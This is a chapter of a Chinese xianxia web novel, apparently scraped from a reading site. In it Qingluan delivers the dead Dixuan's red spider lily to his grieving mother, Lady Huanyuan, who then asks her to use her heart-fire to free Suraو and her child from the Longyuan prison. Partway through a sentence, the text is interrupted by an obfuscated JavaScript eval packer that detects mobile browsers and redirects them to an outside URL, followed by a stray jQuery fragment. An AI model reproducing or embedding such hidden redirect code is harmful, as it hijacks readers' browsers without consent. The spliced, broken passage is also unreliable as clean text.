焕鸢夫人似乎很不喜欢帝宣同青鸾厮混在一起,偶尔在宴席上见到青鸾,总会铁青着脸打量她。
刚开始青鸾还以为焕鸢夫人是不希望帝宣同她待在一起耽误了修行,后来才逐渐明白原来焕鸢夫人只是单纯不喜欢她。
她不过是养在青要山中的一只小妖,无论是身份还是地位亦或者修为都同帝宣有着云泥之别。即便抛开这些不论,只因为她是被帝骁养大,光这一点便足以让她在焕鸢夫人处判了死刑。
帝宣与帝骁二人是同父异母的兄弟不假,但随着时间的推移,这两人的关系肉眼可见变得紧张。
尤其在他们陆续获得神君封号后,几乎整个九重天宫都将他二人视为了竞争对手,在这样紧张的氛围下,他们的关系只能越来越疏离。
青鸾同帝宣要好又如何,她终究是在青要山中长大,同帝骁朝夕相处的日子比帝宣多得多,所以焕鸢夫人不相信倘若有朝一日两兄弟当真反目为敌时青鸾会真心站在帝宣这一边。
也正因如此,帝宣与青鸾走得越近,他的处境便越是危险。
青鸾也是在帝宣突然杳无音讯后才想通这一层。
现在想想,焕鸢夫人当初对她的百般防备其实也是为人母的良苦用心。
如今帝宣已经不在,曾经的万般纷扰也随之化为云烟,多思亦是无益。
重回斯人故地,唯余一声叹息。
青鸾隐去身形随着帝宣记忆里的路线穿梭于帝台府邸,最后在帝宣过去修炼的水榭中寻见了她。
焕鸢夫人与青鸾印象中的模样几乎没什么分别,岁月没有在她的脸上留下痕迹,她风采如旧,但眼中的光芒已不复从前。
她长久地坐在水榭中,垂首静思,不知在想些什么。
青鸾悄然行至她的身后,抬手在水榭四周布下禁制。
焕鸢夫人倒很警觉,在青鸾出现的一瞬间便站起来,回身望向她。
“是你?”见到来人竟是青鸾,她的脸上浮现出一抹讶异:“你怎么会来这里?”
青鸾倒也没有多言,直接将彼岸花取出交给焕鸢夫人:“我才从大荒归来,帝宣托我将他在大荒寻见的这株彼岸花交给你。”
焕鸢夫人没有立即接过花,而是怔怔地注视着它,过了好一会儿才反应过来青鸾方才所言,捂住嘴后退两步:“这是帝宣托你交给我的?”
她的胸口剧烈地起伏着,似是有些喘不过气。
“你见到帝宣了……”深深地吸了一口气,她含着泪攥住青鸾的胳膊:“他在哪里?可还安好?”
不待青鸾回答,她再一次将目光落到血红的彼岸花上,喃喃自语道:“他若还安好,怎会不回家亲自把花送给我,而是托你将它带回。”
眼泪像断了线的珠子从她的眼眶落下,打湿了她的衣襟,坠落在鲜艳的花瓣上。
她颤抖着双手接过青鸾手中的花:“你告诉我,他是不是……是不是已经不在了?”
青鸾沉默片刻后,将大荒发生的一切如实告诉了焕鸢夫人,包括帝宣是如何以身为祭作为阵眼催动庞大的生阵,将魔族始祖之息镇压在了大荒东部。
她知道,帝宣此举一定会让焕鸢夫人引以为傲,与其对她刻意隐瞒,不若将真相告知。
焕鸢夫人没有再说什么,而是将那株彼岸花拥进怀里,抱着它倚靠在墙边坐下。
不知道她是否想起了在帝宣幼时,她曾经牵着他的手带他来到水榭,告诉他以后这就是他的家,这里就是他修行练功的地方。
她引他去花园看那朵红色的彼岸花,略有些骄傲地告诉他,那是娘亲最喜爱的花,是帝台神特意去大荒为她寻来的。
年幼的孩童将这句话记在了心里,他学着父亲的样子为母亲从大荒寻来了她最喜爱的彼岸花,可他自己却永远留在了那个地方。
他再也不会回来了。
青鸾鼻尖一酸,想要在眼泪涌出来前转身离去,却看见焕鸢夫人颤巍巍地扶着墙起身唤她。
青鸾连忙上前扶住她。
焕鸢夫人抬头望着青鸾,这是她第一次不带任何情绪地打量她,片刻后她突然笑了。她的眼睛早已在经年的哀伤中浸泡得红肿,此刻嘴角笑意也是哀凉,却又有了几分释然。
她握住青鸾的手:“好孩子,你竟然觉醒了心火?”
青鸾讶异间,又听她继续道:“我的母族乃上古仙族,与心火有些渊源,因此我自小便修习了一个秘术,可以探知心火之灵。”
“你方才来寻我,我最先感应到的其实不是你的存在,而是你体内心火的存在。”
青鸾听罢心中了然,若非有事,焕鸢夫人不会突然提到心火,于是直接问道:“夫人有何嘱咐?”
“宣儿这孩子,到最后还想着完成我的心愿,为我从大荒寻来彼岸花。”提及帝宣,焕鸢夫人的神情和语气都柔和了许多:“我也想为他做一些事,但这件事唯有拥有心火的你能够做到。”
焕鸢夫人想要为帝宣做什么事?这件事还只有拥有心火才能达成。青鸾心中疑惑,但没有多言,只是沉默地倾听着。
但听焕鸢夫人继续道:“帝骁的生母素娆已被囚禁在龙渊之狱中数百年,帝凌神与东海神君相互勾结炼化神兵一事牵连到了素娆的身上,现今天君欲将素娆一并处决,且将此事交给了帝骁去办。”
青鸾听到这里在心里冷笑一声,赶尽杀绝,斩草除根,顺便将这些活儿都交给帝骁,逼他断情绝爱,这的确是天君的一贯作风。
“当初素娆之所以被打入龙渊之狱,此间内情想必你也在旁人的议论中听说了一二。便是因为她曾打算与一个大妖私奔,甚至生下了那大妖的孩子,这才为天君所不容。”
“若非帝骁这些年来苦苦替母求情,依天君的性子,只怕早就处决了她。”
“可是如今……却是无法了。”焕鸢夫人叹息一声:“弑父杀母,这样的事情天君要求帝骁亲自去做。有时便连我也忍不住去想,若我是那孩子的母亲,该有多么心疼。”
青鸾知道焕鸢夫人口中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231022|144614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的那孩子指的是谁。
这倒令她心生感慨,强大如帝骁,原来在焕鸢夫人眼中也只是一个会被母亲心疼的孩子。
“退一万步想,与素娆一起被关押在龙渊之狱几百年的那个婴儿又何其无辜,他从出生起便被封印了神识,关押在牢狱,甚至没来得及看这个世界一眼,便要随母亲一起陨落。”
“孩子,我想要请你帮个忙,将他们从龙渊之狱中救出来。”
听见焕鸢夫人如此说,青鸾更为疑惑:“这便是您方才说的唯有心火才能达成之事?可这与帝宣有什么干系?”
焕鸢夫人是因为想要为帝宣做一点事,这才央求青鸾去救素娆母子,但是素娆乃帝骁生母,青鸾实在想不通他们之间有什么联系。
“龙渊之狱被设下了禁制,此禁制唯有天君可解,便连帝骁每次去见素娆也只能携天君所赐令牌才可进入。”焕鸢夫人停顿了一下:“但心火可破万法,若是世间还有谁能够越过天君进入龙渊之狱,那便只有拥有心火之人了。”
“况且,若我所修秘术察觉无误,你体内的心火已然十分强大,并且你能对其掌控自如。”
“潜入龙渊之狱救出素娆母子对你来说应当不难。”
青鸾听着焕鸢夫人的计划,蹙了蹙眉:“可是将她救出之后呢?天君一定很快便会发现此事,并向四海八荒发布通缉令,素娆母子怕是即便逃了出来也无藏身之处。”
“天下之大,并非人人都唯天君之命是从。”焕鸢夫人语气坚定地道:“我早已与母族商议过此事,倘若素娆真能从狱中逃出,他们会派人前来接应。”
青鸾一怔:“您的母族?”
焕鸢夫人点了点头:“我的母族乃上古仙族,虽然如今家族已没有昔日辉煌,但收容素娆母子二人还是没有问题的。”
听得出来这件事的确已经在她心间盘桓许久,她也为此筹谋许久,只是迟迟没有遇到可以破除龙渊之狱禁制的人:“你要做的只是解除禁制,将素娆母子带出,之后的事我们自会解决。”
说到这里焕鸢夫人停顿了一下,然后思索道:“你拥有心火一事还有几人知晓?天君届时定能猜出破除禁制者乃拥有心火之人,但只要你将自己觉醒心火一事隐瞒好,他应当不会怀疑到你身上。”
青鸾在心中暗道,她觉醒心火一事有几人知晓不重要,重要的是帝骁早已知晓。
她其实早就暴露在危险之下了。
不过她没有同焕鸢夫人说这些,而是再一次问道:“此事与帝宣有何关系?”
焕鸢夫人似乎是犹豫了一下,然后长长地叹息一声道:“宣儿曾经对我讲过,他觉得自己有愧于帝骁。”
她抬头遥遥望向水榭外的虚空,似乎是在寻觅着记忆长河中帝宣的模样,回忆着当初与他进行这番谈话时他愧怍不安的语气。
“小时候因为帝凌的缘故,他曾经很讨厌帝骁。”
“他一度认为是素娆和她的孩子抢走了他的父亲,帝凌才会抛弃他和他的母亲。”